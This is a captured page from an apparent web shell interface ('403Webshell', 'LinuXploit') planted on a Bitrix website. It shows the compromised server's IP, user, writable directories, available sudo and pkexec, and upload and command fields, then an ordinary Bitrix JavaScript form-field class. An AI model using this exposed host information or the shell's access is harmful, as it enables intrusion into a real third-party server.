403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/rest/form-constructor/src/fields/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/rest/form-constructor/src/fields/base-field.js
import { Type, Text, Dom, Tag } from 'main.core';
import type { FieldConfig } from '../types';
import { EventEmitter } from 'main.core.events';

export class BaseField extends EventEmitter
{
	options: FieldConfig;
	readySave: boolean;
	value: any;
	#errorBlock: HTMLElement;

	constructor(options: FieldConfig)
	{
		super();
		this.setEventNamespace('BX.Rest.EInvoice.Field');
		this.options = options;
		this.value = this.options.value ?? null;
		this.readySave = !(Type.isNil(this.value) || this.value === '');
		this.options.id = Type.isStringFilled(this.options.id) ? this.options.id : Text.getRandom(8);
	}

	getId(): string
	{
		return this.options.id;
	}

	getName(): string
	{
		return this.options.name;
	}

	getContent(): HTMLElement
	{
		const wrapper = Tag.render`
			<div class="container"></div>
		`;
		Dom.append(this.renderFieldContainer(), wrapper);
		Dom.append(this.renderErrorsContainer(), wrapper);
		Dom.hide(this.renderErrorsContainer());
		this.subscribe('error', (event) => {
			const messages = event.data.messages;
			this.renderErrorsContainer().innerHTML = Type.isArray(messages) ? messages.join('<br>') : messages;
			Dom.show(this.renderErrorsContainer());

			if (!Dom.hasClass(wrapper, 'ui-ctl-warning'))
			{
				Dom.addClass(wrapper, 'ui-ctl-warning');
			}
		});

		return wrapper;
	}

	renderFieldContainer(): HTMLElement
	{
		throw new Error('Must be implemented in a child class');
	}

	isReadySave(): boolean
	{
		return this.readySave;
	}

	renderErrorsContainer(): HTMLElement
	{
		if (!this.#errorBlock)
		{
			this.#errorBlock = Tag.render`
				<div class="ui-ctl-bottom bitrix-einvoice-error-block"></div>
			`;
		}

		return this.#errorBlock;
	}

	getValue(): any
	{
		return this.value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit